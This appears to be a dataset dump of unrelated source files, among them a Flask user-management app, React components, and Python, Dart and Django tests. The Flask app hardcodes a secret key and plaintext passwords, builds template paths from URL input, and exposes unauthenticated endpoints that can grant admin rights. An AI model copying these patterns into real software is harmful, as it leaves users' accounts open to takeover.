text
stringlengths
184
4.48M
using BenchmarkDotNet.Attributes; using BenchmarkDotNet.Configs; using Microsoft.Extensions.Logging; [RankColumn] [MemoryDiagnoser] [GroupBenchmarksBy(BenchmarkLogicalGroupRule.ByCategory)] public partial class ExecutionTimeBenchmark { private ILogger _logger = null!; private ConfigurationExample _configuration = null!; [GlobalSetup] public void Setup() { _logger = CustomNullLogger<ExecutionTimeBenchmark>.Instance; _configuration = new ConfigurationExample( 0, "Root", new ConfigurationExample( 1, "First Level", new ConfigurationExample( 2, "Second level", null) ) ); } [Benchmark(Baseline = true)] [BenchmarkCategory("Without parameters")] public void LogInformationWithoutParameters() { _logger.LogInformation("Hello world!"); } [Benchmark] [BenchmarkCategory("Without parameters")] public void LoggerMessageWithoutParameters() { LoggerMessageWithoutParametersImpl(); } [LoggerMessage(LogLevel.Information, Message = "Hello world!")] partial void LoggerMessageWithoutParametersImpl(); [Benchmark(Baseline = true)] [BenchmarkCategory("With 6 Parameters")] public void LogInformationWith6PrimitiveParameters() { _logger.LogInformation("Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6}", 1, 2, 3, 4, 5, 6); } [Benchmark] [BenchmarkCategory("With 6 Parameters")] public void LoggerMessageWith6Parameters() { LoggerMessageWith6ParametersImpl(1, 2, 3, 4, 5, 6); } [LoggerMessage(LogLevel.Information, Message = "Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6}")] partial void LoggerMessageWith6ParametersImpl(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6); [Benchmark(Baseline = true)] [BenchmarkCategory("With 7 Parameters")] public void LogInformationWith7PrimitiveParameters() { _logger.LogInformation("Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6} {arg7}", 1, 2, 3, 4, 5, 6, 7); } [Benchmark] [BenchmarkCategory("With 7 Parameters")] public void LoggerMessageWith7Parameters() { LoggerMessageWith7ParametersImpl(1, 2, 3, 4, 5, 6, 7); } [LoggerMessage(LogLevel.Information, Message = "Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6} {arg7}")] partial void LoggerMessageWith7ParametersImpl(int arg1, int arg2, int arg3, int arg4, int arg5, int arg6, int arg7); [Benchmark(Baseline = true)] [BenchmarkCategory("With Complex Types Parameters")] public void LogInformationWithComplexParameters() { _logger.LogInformation("Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6}", _configuration, _configuration, _configuration, _configuration, _configuration, _configuration); } [Benchmark] [BenchmarkCategory("With Complex Types Parameters")] public void LoggerMessageWithComplexParameters() { LoggerMessageWithComplexParametersImpl( _configuration, _configuration, _configuration, _configuration, _configuration, _configuration ); } [LoggerMessage(LogLevel.Information, Message = "Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6}")] partial void LoggerMessageWithComplexParametersImpl( ConfigurationExample arg1, ConfigurationExample arg2, ConfigurationExample arg3, ConfigurationExample arg4, ConfigurationExample arg5, ConfigurationExample arg6 ); #if TELEMETRY [Benchmark] [BenchmarkCategory("With Printable Complex Types Parameters")] public void LoggerMessageWithPrintableComplexParameters() { LoggerMessageWithPrintableComplexParametersImpl( _configuration, _configuration, _configuration, _configuration, _configuration, _configuration ); } [LoggerMessage(LogLevel.Information, Message = "Hello world! {arg1} {arg2} {arg3} {arg4} {arg5} {arg6}")] partial void LoggerMessageWithPrintableComplexParametersImpl( [LogProperties] ConfigurationExample arg1, [LogProperties] ConfigurationExample arg2, [LogProperties] ConfigurationExample arg3, [LogProperties] ConfigurationExample arg4, [LogProperties] ConfigurationExample arg5, [LogProperties] ConfigurationExample arg6 ); #endif public record ConfigurationExample(int Id, string Name, ConfigurationExample? NestedConfiguration); }
from flask import Flask, render_template, redirect, request, url_for from flask import session, make_response, g import json # Create an instance of the Flask class app = Flask(__name__, template_folder='templates/main') # Associate the config with the app app.config.from_object('config.DevelopmentConfig') # Please remove the statement on production(testing purposes) app.secret_key = 'pLeAsE sEt tHe sEcREt kEy yOUr wIsH' # Emulate database of users users = { 'john': { 'username': 'john', 'password': 'password123', 'email': 'johndoe@me.com', 'is_admin': False }, 'jane': { 'username': 'jane', 'password': 'password456', 'email': 'janedoe@me.com', 'is_admin': False }, 'admin': { 'username': 'admin', 'password': 'password', 'email': 'admin@me.com', 'is_admin': True } } @app.route('/') def root(): return render_template('home.html', title='Natrec - AI Web Application') @app.route('/home') def home(): return render_template('home.html', title='Natrec - AI Web Application') @app.route('/contact') def contact(): return render_template('contact.html', title='Contact Us') @app.route('/features') def features(): return render_template('features.html', title='Features we offer') @app.route('/about') def about(): return render_template('about.html', title='About Us') @app.route('/price') def price(): return render_template('price.html', title='Prices to our servces') @app.route('/privacy') def privacy_policy(): return render_template('privacy.html', title='Privacy Policy') @app.route('/terms') def terms(): return render_template('terms.html', title='Terms & Conditions') @app.route('/login') def login(): return render_template('login.html', title='Login to Natrec') @app.route('/logout', methods=['GET', 'POST']) def logout(): session.pop('username', None) return redirect(url_for('login')) @app.route('/signup') def signup(): return render_template('signup.html', title='Signup to Natrec') @app.route('/dashboard') def dashboard(): username = session.get('username') # Access the username from the session if username in users: return render_template('dashboard.html', title='Dashboard', user=users[username]) return redirect(url_for('login')) @app.route('/auth/login', methods=['POST']) def login_auth(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') remember_me = True if request.form.get('rememberMe') else False print('username' in request.form) print(request.form) if username in users and users[username]['password'] == password: # User is authenticated, set the username in the session # Session is used to store data across requests(secure and encrypted) session['username'] = username session.permanent = remember_me # Perform necessary actions, such as redirecting to the dashboard return redirect(url_for('dashboard')) else: # Invalid credentials, show error message error_message = 'Invalid username or password' contents = render_template('login.html', error_message=error_message) responce = make_response(contents, 401) return responce @app.route('/auth/signup', methods=['GET', 'POST']) def signup_auth(): if request.method == 'POST': username = request.form.get('username') email = request.form.get('email') password = request.form.get('password') # Check if username already exists if username in users: error_message = 'Username already exists' return render_template('signup.html', error_message=error_message, title="Signup to Natrec") # Store user information in the users dictionary users[username] = {'username': username, 'email': email, 'password': password, 'is_admin': False} # Redirect to the login page or any other desired page return redirect(url_for('login')) return render_template('signup.html', title="Signup to Natrec") @app.route('/admin') def admin(): username = session.get('username') if username in users and users[username]['is_admin']: return render_template('admin.html', title='Admin Page', users=users) error_message = "Please login with administrator account(access denied)" return render_template('login.html', error_message=error_message) @app.route('/blog') def blog(): return render_template('blog/blog.html', title="Blog") # Custom error handler for 404 Page Not Found @app.errorhandler(404) def page_not_found(error): # Return the error page and its status code response = app.response_class( # Create a response based on the not found template response=render_template( 'not_found.html', title='Page Not Found(404)', status=404), status=404, mimetype='text/html' ) return response @app.route('/blog/<page>') def access_log(page): return render_template(f'blog/{page}.html', title=page) @app.route('/tutorials') def tutorials(): return render_template(f'tutorials/tutorials.html', title="Tutorials") @app.route('/started') def get_started(): return render_template(f'tutorials/get_started.html', title="Get Started") @app.route('/user/remove', methods=['POST']) def remove_user(): if "username" in request.json: username = request.json['username'] # remove user from users dictionary(if its not current user) if session.get('username') != username and username in users: del users[username] else: return json.dumps({'success': False}) return json.dumps({'sucess': True}) @app.route('/user/add', methods=['POST']) def add_user(): if "username" in request.json and "password" in request.json: username = request.json['username'] password = request.json['password'] email = request.json['email'] if username in users: return json.dumps({'success': False}) else: users[username] = {'username': username, 'password': password, 'is_admin': False, "email": email} return json.dumps({'success': True}) return json.dumps({'success': False}) @app.route('/user/update', methods=['POST']) def update_user(): if "username" in request.json: username = request.json['username'] password = request.json['password'] email = request.json['email'] is_admin = request.json['is_admin'] if username in users: users[username]['password'] = password users[username]['email'] = email users[username]['is_admin'] = is_admin return json.dumps({'success': True}) else: return json.dumps({'success': False}) return json.dumps({'success': False}) @app.route('/user/is_admin', methods=['POST']) def is_admin(): if "username" in request.json: username = request.json['username'] if username in users and users[username]['is_admin']: return json.dumps({'success': True}) else: return json.dumps({'success': False}) return json.dumps({'success': False}) if __name__ == '__main__': app.run(debug=True)
import { createAsyncThunk, createSlice } from "@reduxjs/toolkit"; import { fetchUsers } from "../talk/talkAPI"; import { fetchAddNewUser, NewUserParams } from "./usersAPI"; export interface User { id: number; username: string; } export interface UserState { status: "idle" | "loading" | "failed"; list: User[]; } export const getUsers = createAsyncThunk("users/getUsers", async () => { const response = await fetchUsers(); console.log(response); return response; }); export const addNewUser = createAsyncThunk( "users/addNewUser", async (newUserParams: NewUserParams) => { const response = await fetchAddNewUser(newUserParams); console.log(response); return response; } ); const initialState: UserState = { status: "idle", list: [], }; export const usersSlice = createSlice({ name: "users", initialState, // The `reducers` field lets us define reducers and generate associated actions reducers: {}, // The `extraReducers` field lets the slice handle actions defined elsewhere, // including actions generated by createAsyncThunk or in other slices. extraReducers: (builder) => { builder .addCase(getUsers.pending, (state) => { state.status = "loading"; }) .addCase(getUsers.fulfilled, (state, action) => { state.status = "idle"; state.list = action.payload; }) .addCase(addNewUser.pending, (state) => { state.status = "loading"; }) .addCase(addNewUser.fulfilled, (state, action) => { state.status = "idle"; state.list = [...state.list, action.payload]; }); }, }); // export const {} = talkListSlice.actions; export default usersSlice.reducer;
import unittest def suma(a, b): return a + b class TestSuma(unittest.TestCase): # Heredamos de unittest.TestCase para poder hacer las pruebas def test_suma(self): # Creamos un método que empiece por test para que sea detectado self.assertEqual(suma(5, 7), 12) # Comprobamos que 5 + 7 = 12 self.assertEqual(suma(5, -7), -2) self.assertEqual(suma(0, 0), 0) self.assertEqual(suma(3.5, 2.1), 5.6) self.assertEqual(suma(2, 2.1), 4.1) self.assertEqual(suma(2.5, 2.5), 5) # if __name__ == '__main__': # unittest.main() """ DIFICULTAD EXTRA (opcional): Crea un diccionario con las siguientes claves y valores: "name": "Tu nombre" "age": "Tu edad" "birth_date": "Tu fecha de nacimiento" "programming_languages": ["Listado de lenguajes de programación"] Crea dos test: - Un primero que determine que existen todos los campos. - Un segundo que determine que los datos introducidos son correctos. """ import unittest usuario = { "name": "Marcos", "age": 42, "birth_date": "02-20-1982", "programming_languages": ["Python", "PHP", "CSS", "JavaScript"] } class Tests(unittest.TestCase): def test_campos(self): self.assertEqual(True if usuario["name"] else False, True) # Si el campo name existe, devolverá True self.assertEqual(True if usuario["age"] else False, True) self.assertEqual(True if usuario["birth_date"] else False, True) self.assertEqual(True if usuario["programming_languages"] else False, True) def test_tipo(self): self.assertEqual(type(usuario["name"]), str) # Comprobamos que el tipo de dato es el correcto self.assertEqual(type(usuario["age"]), int) self.assertEqual(type(usuario["birth_date"]), str) self.assertEqual(type(usuario["programming_languages"]), list) if __name__ == '__main__': # Si ejecutamos el script directamente, se ejecutarán las pruebas unittest.main() # Ejecutamos las pruebas
package org.usfirst.frc.team449.robot.subsystem.interfaces.flywheel.commands; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonIdentityInfo; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.ObjectIdGenerators; import edu.wpi.first.wpilibj.command.InstantCommand; import org.jetbrains.annotations.NotNull; import org.usfirst.frc.team449.robot.other.Logger; import org.usfirst.frc.team449.robot.subsystem.interfaces.flywheel.SubsystemFlywheel; /** * Turn on the flywheel and the feeder. */ @JsonIdentityInfo(generator = ObjectIdGenerators.StringIdGenerator.class) public class TurnAllOn extends InstantCommand { /** * The subsystem to execute this command on. */ @NotNull private final SubsystemFlywheel subsystem; /** * Default constructor * * @param subsystem The subsystem to execute this command on. */ @JsonCreator public TurnAllOn(@NotNull @JsonProperty(required = true) SubsystemFlywheel subsystem) { this.subsystem = subsystem; } /** * Log when this command is initialized */ @Override protected void initialize() { Logger.addEvent("TurnAllOn init.", this.getClass()); } /** * Turn on the flywheel and feeder. */ @Override protected void execute() { subsystem.turnFeederOn(); subsystem.turnFlywheelOn(); subsystem.setFlywheelState(SubsystemFlywheel.FlywheelState.SHOOTING); } /** * Log when this command ends */ @Override protected void end() { Logger.addEvent("TurnAllOn end.", this.getClass()); } /** * Log when this command is interrupted. */ @Override protected void interrupted() { Logger.addEvent("TurnAllOn Interrupted!", this.getClass()); } }
import { useState } from "react"; import { Link, NavLink } from "react-router-dom"; import { IoMenu } from "react-icons/io5"; const Header = () => { const [menuOpen, setMenuOpen] = useState(false); const toggleMenu = () => { setMenuOpen(!menuOpen); }; return ( <header> <nav className="text-white w-full relative"> <div className="py-6 flex justify-between items-center px-6 md:px-12"> {/* Logo for smaller devices (left aligned) */} <Link to="/" className="text-5xl font-jakarta font-extrabold tracking-wider md:hidden"> DZ!NR </Link> {/* Navigation links and centered logo for larger screens */} <div className="hidden md:flex items-center justify-center space-x-8 mx-auto"> <NavLink to="" className="text-md font-semibold hover:text-gray-300"> Projects </NavLink> <NavLink to="/Merch" className="text-md font-semibold hover:text-gray-300"> Merch </NavLink> {/* Centered logo */} <Link to="/" className="text-5xl font-jakarta font-extrabold"> DZ!NR </Link> <NavLink to="" className="text-md font-semibold hover:text-gray-300"> Team </NavLink> <NavLink to="" className="text-md font-semibold hover:text-gray-300"> Contact </NavLink> </div> {/* Hamburger menu for smaller screens */} <div className="md:hidden"> <IoMenu className="text-white h-10 w-10 cursor-pointer" onClick={toggleMenu} /> </div> </div> {/* Mobile menu */} {menuOpen && ( <div className={`absolute left-0 right-0 z-20 bg-gray-900 text-center py-4 transition-transform duration-300 ease-in-out ${ menuOpen ? "translate-y-0" : "translate-y-[-100%]" }`}> <NavLink to="" className="block py-2 text-md font-semibold hover:text-gray-300"> Projects </NavLink> <NavLink to="/Merch" className="block py-2 text-md font-semibold hover:text-gray-300"> Merch </NavLink> <NavLink to="" className="block py-2 text-md font-semibold hover:text-gray-300"> Team </NavLink> <NavLink to="" className="block py-2 text-md font-semibold hover:text-gray-300"> Contact </NavLink> </div> )} </nav> </header> ); }; export default Header;
// ChatComponent.js import React, { useState } from 'react'; import axios from 'axios'; const ChatComponent = () => { const [input, setInput] = useState(''); const [messages, setMessages] = useState([]); const handleInputChange = (e) => { setInput(e.target.value); }; const handleSendMessage = async () => { // Make a request to the ChatGPT API with the user input const response = await axios.post( 'https://api.openai.com/v1/chat/completions', { messages: [ { role: 'system', content: 'You are a helpful assistant.' }, { role: 'user', content: input }, ], }, { headers: { 'Content-Type': 'application/json', Authorization: `Bearer caysikeys`, }, } ); // Update the conversation history with the response from ChatGPT setMessages([...messages, { role: 'assistant', content: response.data.choices[0].message.content }]); // Clear the input field setInput(''); }; return ( <div> <div> {messages.map((message, index) => ( <div key={index} className={message.role}> {message.content} </div> ))} </div> <div> <input type="text" value={input} onChange={handleInputChange} /> <button onClick={handleSendMessage}>Send</button> </div> </div> ); }; export default ChatComponent;
#ifndef SENIOR_H #define SENIOR_H #include "Leitor.h" /** * @brief Classe que representa um leitor senior na biblioteca * * Esta classe herda de Leitor e adiciona funcionalidades específicas para leitores senior, * incluindo o limite de empréstimos e o desconto na multa */ class Senior : public Leitor { public: Senior(string nome, string id); //Construtor virtual ~Senior(); //Destrutor int getLimiteEmprestimos() const override; //Obtém o limite de empréstimos do leitor senior float getDescontoMulta() const override; //Obtém o desconto na multa do leitor senior bool podeProrrogar() const override; //Verifica se o leitor senior pode prorrogar o empréstimo void editarInformacoes() override; //Edita as informações do leitor senior string getTipo() const override; //Obtém o tipo de leitor }; #endif // SENIOR_H
import 'package:bloc_test/bloc_test.dart'; import 'package:collection_repository/collection_repository.dart'; import 'package:ez_badminton_admin_app/player_management/player_filter/player_filter.dart'; import 'package:ez_badminton_admin_app/predicate_filter/common_predicate_producers/agegroup_predicate_producer.dart'; import 'package:ez_badminton_admin_app/predicate_filter/predicate/filter_predicate.dart'; import 'package:ez_badminton_admin_app/predicate_filter/predicate/predicate_producer.dart'; import 'package:ez_badminton_admin_app/predicate_filter/predicate_producers.dart'; import 'package:ez_badminton_admin_app/widgets/loading_screen/loading_screen.dart'; import 'package:flutter_test/flutter_test.dart'; import 'package:mocktail/mocktail.dart'; import '../../common_matchers/predicate_matchers.dart'; import '../../common_matchers/state_matchers.dart'; class MockAgeGroupPredicateProducer extends Mock implements AgeGroupPredicateProducer {} class MockGenderPredicateProducer extends Mock implements GenderCategoryPredicateProducer {} class MockPlayingLevelPredicateProducer extends Mock implements PlayingLevelPredicateProducer {} class MockCompetitionTypePredicateProducer extends Mock implements CompetitionTypePredicateProducer {} class MockStatusPredicateProducer extends Mock implements StatusPredicateProducer {} class MockSearchPredicateProducer extends Mock implements SearchPredicateProducer {} var playingLevels = List<PlayingLevel>.generate( 3, (index) => PlayingLevel( id: '$index', created: DateTime(2023), updated: DateTime(2023), name: '$index', index: index, ), ); void main() { late CollectionRepository<PlayingLevel> playingLevelRepository; late CollectionRepository<AgeGroup> ageGroupRepository; late CollectionRepository<Tournament> tournamentRepository; late List<PredicateProducer> producers; late AgeGroupPredicateProducer ageGroupPredicateProducer; late GenderCategoryPredicateProducer genderPredicateProducer; late PlayingLevelPredicateProducer playingLevelPredicateProducer; late CompetitionTypePredicateProducer competitionTypePredicateProducer; late StatusPredicateProducer statusPredicateProducer; late SearchPredicateProducer searchPredicateProducer; void arrangePlayingLevelRepositoryThrows() { playingLevelRepository = TestCollectionRepository(throwing: true); } void arrageProducersHaveStream() { for (var producer in producers) { when(() => producer.predicateStream) .thenAnswer((_) => Stream<FilterPredicate>.fromIterable([])); } } void arrageProducersCloseStream() { for (var producer in producers) { when(() => producer.close()).thenAnswer((_) async {}); } } PlayerFilterCubit createSut() { return PlayerFilterCubit( playingLevelRepository: playingLevelRepository, ageGroupRepository: ageGroupRepository, tournamentRepository: tournamentRepository, ageGroupPredicateProducer: ageGroupPredicateProducer, genderPredicateProducer: genderPredicateProducer, playingLevelPredicateProducer: playingLevelPredicateProducer, competitionTypePredicateProducer: competitionTypePredicateProducer, statusPredicateProducer: statusPredicateProducer, searchPredicateProducer: searchPredicateProducer, ); } setUp(() { playingLevelRepository = TestCollectionRepository( initialCollection: playingLevels, ); ageGroupRepository = TestCollectionRepository(); tournamentRepository = TestCollectionRepository(); ageGroupPredicateProducer = MockAgeGroupPredicateProducer(); genderPredicateProducer = MockGenderPredicateProducer(); playingLevelPredicateProducer = MockPlayingLevelPredicateProducer(); competitionTypePredicateProducer = MockCompetitionTypePredicateProducer(); statusPredicateProducer = MockStatusPredicateProducer(); searchPredicateProducer = MockSearchPredicateProducer(); producers = [ ageGroupPredicateProducer, genderPredicateProducer, playingLevelPredicateProducer, competitionTypePredicateProducer, statusPredicateProducer, searchPredicateProducer, ]; arrageProducersHaveStream(); arrageProducersCloseStream(); }); group( 'PlayerFilterCubit initial state and loading', () { test('initial LoadingStatus is loading', () { expect( createSut().state, HasLoadingStatus(LoadingStatus.loading), ); }); blocTest<PlayerFilterCubit, PlayerFilterState>( 'emits LoadingStatus.failed when PlayingLevelRepository throws', setUp: () => arrangePlayingLevelRepositoryThrows(), build: () => createSut(), expect: () => [HasLoadingStatus(LoadingStatus.failed)], ); blocTest<PlayerFilterCubit, PlayerFilterState>( """emits playing levels from PlayingLevelRepository and LoadingStatus.done when PlayingLevelRepository returns""", build: () => createSut(), expect: () => [HasLoadingStatus(LoadingStatus.done)], verify: (cubit) => expect( cubit.state.getCollection<PlayingLevel>(), playingLevels, ), ); blocTest<PlayerFilterCubit, PlayerFilterState>( 'goes back to LoadingStatus.loading when collections are reloaded', build: createSut, act: (cubit) async { await Future.delayed(Duration.zero); cubit.loadCollections(); }, skip: 1, expect: () => [ HasLoadingStatus(LoadingStatus.loading), HasLoadingStatus(LoadingStatus.done), ], verify: (cubit) => expect( cubit.state.getCollection<PlayingLevel>(), playingLevels, ), ); }, ); group('PlayerFilterCubit state emission', () { var filterPredicate = FilterPredicate((o) => false, Player, 'testname', 'testdomain'); Future<FilterPredicate> futurePredicate() async { await Future.delayed(const Duration(milliseconds: 3)); return filterPredicate; } setUp(() { when(() => ageGroupPredicateProducer.predicateStream).thenAnswer( (_) => Stream<FilterPredicate>.fromFuture(futurePredicate()), ); }); blocTest<PlayerFilterCubit, PlayerFilterState>( 'emits a state with the FilterPredicate when it is produced.', build: () => createSut(), skip: 1, // Skip LoadingStatus.done state wait: const Duration(milliseconds: 3), expect: () => [ HasFilterPredicate(HasDomain('testdomain')), ], ); }); }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Student Registration Form</title> <style> body { font-family: 'Arial', sans-serif; margin: 0; padding: 0; background: linear-gradient(to bottom right, #6a11cb, #2575fc); color: #444; display: flex; justify-content: center; align-items: center; height: 100vh; } .form-container { background-color: white; border-radius: 10px; box-shadow: 0 8px 15px rgba(0, 0, 0, 0.1); padding: 30px; max-width: 500px; width: 100%; } .form-container h1 { text-align: center; color: #333; margin-bottom: 20px; font-size: 24px; } label { font-weight: bold; margin-bottom: 5px; display: block; } input[type="text"], select, input[type="radio"], input[type="checkbox"] { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ccc; border-radius: 5px; font-size: 14px; } .checkbox-group, .radio-group { display: flex; flex-wrap: wrap; gap: 10px; } .checkbox-group label, .radio-group label { display: flex; align-items: center; gap: 5px; cursor: pointer; } .button-group { display: flex; justify-content: space-between; gap: 10px; } button { background: #007bff; border: none; border-radius: 5px; color: white; font-size: 14px; padding: 10px 15px; cursor: pointer; flex: 1; transition: 0.3s ease-in-out; } button:hover { background: #0056b3; } .reset-button { background: #ff4b4b; } .reset-button:hover { background: #cc0000; } #output { margin-top: 20px; padding: 20px; border-radius: 5px; background: #f9f9f9; border: 1px solid #ddd; display: none; } #output h2 { font-size: 20px; margin-bottom: 10px; } #output p { font-size: 16px; } .success-message { font-size: 18px; font-weight: bold; color: green; } </style> </head> <body> <div class="form-container"> <h1>Student Registration Form</h1> <form id="registration-form"> <label for="student-id">Student ID:</label> <input type="text" id="student-id" name="student_id" placeholder="Enter your ID" required> <label for="name">Name:</label> <input type="text" id="name" name="name" placeholder="Enter your full name" required> <label>Semester:</label> <div class="radio-group"> <label><input type="radio" name="semester" value="Even" required> Even Sem</label> <label><input type="radio" name="semester" value="Odd"> Odd Sem</label> </div> <label>Year:</label> <div class="radio-group"> <label><input type="radio" name="year" value="1" required> 1st Year</label> <label><input type="radio" name="year" value="2"> 2nd Year</label> <label><input type="radio" name="year" value="3"> 3rd Year</label> <label><input type="radio" name="year" value="4"> 4th Year</label> </div> <label>Courses:</label> <div class="checkbox-group"> <label><input type="checkbox" name="courses" value="EPAM"> EPAM</label> <label><input type="checkbox" name="courses" value="PDC (Parallel & Distributed Computing)"> PDC</label> <label><input type="checkbox" name="courses" value="SDC (Software Development Concepts)"> SDC</label> <label><input type="checkbox" name="courses" value="TERM PAPER"> TERM PAPER</label> <label><input type="checkbox" name="courses" value="Problem Solving-II"> PROBLEM SOLVING-II</label> <label><input type="checkbox" name="courses" value="DEEP LEARNING"> DEEP LEARNING</label> </div> <div class="button-group"> <button type="submit">Register</button> <button type="reset" class="reset-button">Reset</button> </div> </form> </div> <div id="output"> <h2>Registration Summary</h2> <p class="success-message">Registration Successful!</p> <p><strong>Student ID:</strong> <span id="output-student-id"></span></p> <p><strong>Name:</strong> <span id="output-name"></span></p> <p><strong>Semester:</strong> <span id="output-semester"></span></p> <p><strong>Year:</strong> <span id="output-year"></span></p> <p><strong>Courses Registered:</strong> <span id="output-courses"></span></p> </div> <script> document.getElementById('registration-form').addEventListener('submit', function(event) { event.preventDefault(); // Get form values const studentId = document.getElementById('student-id').value; const name = document.getElementById('name').value; const semester = document.querySelector('input[name="semester"]:checked').value; const year = document.querySelector('input[name="year"]:checked').value; const courses = Array.from(document.querySelectorAll('input[name="courses"]:checked')).map(el => el.value); // Display output details document.getElementById('output-student-id').textContent = studentId; document.getElementById('output-name').textContent = name; document.getElementById('output-semester').textContent = semester; document.getElementById('output-year').textContent = year; document.getElementById('output-courses').textContent = courses.join(', '); // Show registration summary document.getElementById('output').style.display = 'block'; }); </script> </body> </html>
import React, { useState } from 'react'; import { Drawer, DrawerBody, DrawerHeader, DrawerOverlay, DrawerContent, DrawerCloseButton, Checkbox } from '@chakra-ui/react'; import { useProducts } from '@contexts/products-provider'; import { FilterButton } from './styles'; import { CategoriesList } from '../styles'; import { categories } from '../constants'; export function MobileFilter() { const [isDrawerOpen, setIsDrawerOpen] = useState(false); const { selectedProductCategories, setSelectedProductCategories } = useProducts(); function handleClose() { setIsDrawerOpen(false); } function handleCheckboxChange(checked: boolean, category: string) { if (checked) { return setSelectedProductCategories((prevState) => [...prevState, category]); } return setSelectedProductCategories((prevState) => prevState.filter((selectedCategory) => selectedCategory !== category) ); } return ( <> <FilterButton onClick={() => { setIsDrawerOpen(true); }} > Filtros </FilterButton> <Drawer isOpen={isDrawerOpen} placement="right" onClose={handleClose}> <DrawerOverlay /> <DrawerContent> <DrawerCloseButton /> <DrawerHeader>Categorias</DrawerHeader> <DrawerBody> <CategoriesList> {categories.map((category) => ( <li> <Checkbox defaultChecked={ !!selectedProductCategories.find( (selectedCategory) => selectedCategory === category ) } onChange={(e) => { handleCheckboxChange(e.currentTarget.checked, category); }} > {category} </Checkbox> </li> ))} </CategoriesList> </DrawerBody> </DrawerContent> </Drawer> </> ); }
import uuid from django.test import TestCase, Client from django.urls import reverse from app.models import User, Recipe, Favorite, ShopList class TestAuthorizedUsers(TestCase): fixtures = ['db_test.json', ] def setUp(self): """создание тестового клиента""" self.client = Client() self.user = User.objects.create_user( username='sarah', email='connor@skynet.com', password='test' ) self.client.login(email='connor@skynet.com', password='test') self.response = self.client.get(reverse('index')) def test_home_page(self): self.assertEqual(self.response.status_code, 200) self.assertEqual(self.response.context['recipes'].count(), 6) def test_favorites(self): html = '''<button class="button button_style_none" name="favorites" data-out> <span class="icon-favorite"></span></button>''' self.assertContains(self.response, html, count=6, html=True) self.recipe = Recipe.objects.all().first() Favorite.objects.create(user=self.user, recipe=self.recipe) response = self.client.get(reverse('index')) self.assertContains(response, html, count=5, html=True) def test_purchases(self): html = '''<button class="button button_style_light-blue" name="purchases" data-out><span class="icon-plus button__icon"> </span>Добавить в покупки</button>''' self.assertContains(self.response, html, count=6, html=True) self.recipe = Recipe.objects.all().first() ShopList.objects.create(user=self.user, recipe=self.recipe) response = self.client.get(reverse('index')) self.assertContains(response, html, count=5, html=True) html = '''<button class="button button_style_light-blue-outline" name="purchases"> <span class="icon-check button__icon"></span> Рецепт добавлен</button>''' self.assertContains(response, html, html=True) html = '<span class="badge badge_style_blue nav__badge" id="counter">1</span>' self.assertContains(response, html, html=True) def test_tag_filter(self): response = self.client.get(reverse('index')) self.assertEqual(response.context['recipes'].count(), 6) response = self.client.get(reverse('index'), data={'tag': 'BREAKFAST'}) self.assertEqual(response.context['recipes'].count(), 5) response = self.client.get(reverse('index'), data={'tag': ['BREAKFAST', 'LUNCH']}) self.assertEqual(response.context['recipes'].count(), 6) class TestUnauthorizedUsers(TestCase): fixtures = ['db_test.json', ] def setUp(self): """создание тестового клиента""" self.client = Client() self.response = self.client.get(reverse('index')) def test_home_page(self): self.assertEqual(self.response.status_code, 200) self.assertEqual(self.response.context['recipes'].count(), 6) def test_favorites(self): html = '''<button class="button button_style_none" name="favorites" data-out> <span class="icon-favorite"></span></button>''' self.assertNotContains(self.response, html, html=True) html = '''<button class="button button_style_none" name="favorites"><span class="icon-favorite icon-favorite_active"></span></button>''' self.assertNotContains(self.response, html, html=True) def test_purchases(self): html = '''<button class="button button_style_light-blue" name="purchases" data-out><span class="icon-plus button__icon"> </span>Добавить в покупки</button>''' self.assertContains(self.response, html, count=6, html=True) self.recipe = Recipe.objects.all().first() session = self.client.session session.update({ "purchase_id": str(uuid.uuid4()), }) session.save() session_key = self.client.session.get('purchase_id') ShopList.objects.create(session_key=session_key, recipe=self.recipe) response = self.client.get(reverse('index')) self.assertContains(response, html, count=5, html=True) html = '''<button class="button button_style_light-blue-outline" name="purchases"> <span class="icon-check button__icon"></span> Рецепт добавлен</button>''' self.assertContains(response, html, html=True) html = '<span class="badge badge_style_blue nav__badge" id="counter">1</span>' self.assertContains(response, html, html=True) def test_tag_filter(self): response = self.client.get(reverse('index')) self.assertEqual(response.context['recipes'].count(), 6) response = self.client.get(reverse('index'), data={'tag': 'BREAKFAST'}) self.assertEqual(response.context['recipes'].count(), 5) response = self.client.get(reverse('index'), data={'tag': ['BREAKFAST', 'LUNCH']}) self.assertEqual(response.context['recipes'].count(), 6)
import { ComponentPropsWithoutRef } from "react"; import { classNames } from "utils/helpers"; import { ButtonSpinner } from "./Loaders/ButtonSpinner"; export interface SubmitButtonProps extends Omit<ComponentPropsWithoutRef<"button">, "type" | "disabled"> { // formState: FormState<T>; text: string; submittingText: string; isSubmitting: boolean; variant?: "primary" | "secondary" | "tertiary"; } export const SubmitButton = ({ text, submittingText, isSubmitting, variant = "primary", className, ...props }: SubmitButtonProps) => { return ( <button {...props} type="submit" disabled={isSubmitting} className={classNames( variant === "primary" ? "btn-primary" : variant === "secondary" ? "btn-secondary" : variant === "tertiary" && "btn-tertiary", className )} > {isSubmitting ? submittingText : text} {isSubmitting && ( <span className="-mr-1 ml-2"> <ButtonSpinner /> </span> )} </button> ); };
